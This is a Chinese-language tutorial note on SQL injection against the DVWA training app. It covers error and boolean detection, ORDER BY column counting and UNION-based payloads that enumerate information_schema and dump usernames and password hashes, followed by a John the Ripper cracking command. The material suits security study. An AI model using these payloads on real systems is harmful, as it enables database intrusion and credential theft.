lsb_release -a #查看kail的运行版本
SQL注入(一)
服务器端程序将用户输入参数作为查询条件,直接拼接sql语句,并将查询结果返回给客户端浏览器。
-
基于报错的检测方法
. ’ " % ( ) -
基于布尔的检测
1 ’ and ’ 1’ = '1 / 1’and ‘1
1’ and ‘1’ = ‘2 / 1’ and '0
例:
猜测服务器sql语句为:
select first_name,surname form users where id= ''
当我们输入上述内容后,就变成:
select first_name,surname form users where id='1' and '1'='1'
- 表列数/显示信息位于那一列
例:
select first_name,surname form users where id= ''
50是猜测的该表的列数,根据返回结果逐渐减小猜测,--后面一定要跟空格,代表的是注释。
select first_name,surname form users where id= '' order by 50 -- '
- 联合查询
union select 1,2--+
例1:
select first_name,surname from users where id='' union select 1,2-- '
例2:
#查询数据库用户
select first_name,surname from users where id='1' union select user(),2--
#查询版本号
select first_name,surname from users where id='' union select user(),version()--
#查询数据库名称
select first_name,surname from users where id='' union select user(),database()--
总结:
#db用户
user()
#db版本
version()
#全局函数
@@datadir、@@hostname、@@VERSION、@@version_complie_os
#当前库
database()
#ASCII转字符
char()
#连接字符串
CONCAT_WS(CHAR(32,58,32),user(),database(),version())
#计算哈希
md5()
#例:执行user函数,通过@字符切割,1是显示@字符前的内容
substring_index(USER(),"@",1)
例3:
#mysql数据结构
information_schema表
' union select table_name,table_schema from information_schema.tables-- (--后面一定要有一个空格)
#查询dvwa库中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--
#查询users表中的列
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--
#查询users表中的所有用户名、密码两列
' union select user,password from dvwa.users--
' union select null,concat(user,0x3a,password) from users--
#将上述密码破解出来,先将其以user:password格式保存于一个txt文件中,然后执行以下命令
john --format-raw-MD5 user.txt
Max HackBar
对url解码:
像burp似的,我们可以在该框里修改参数,然后点击execution按钮提交。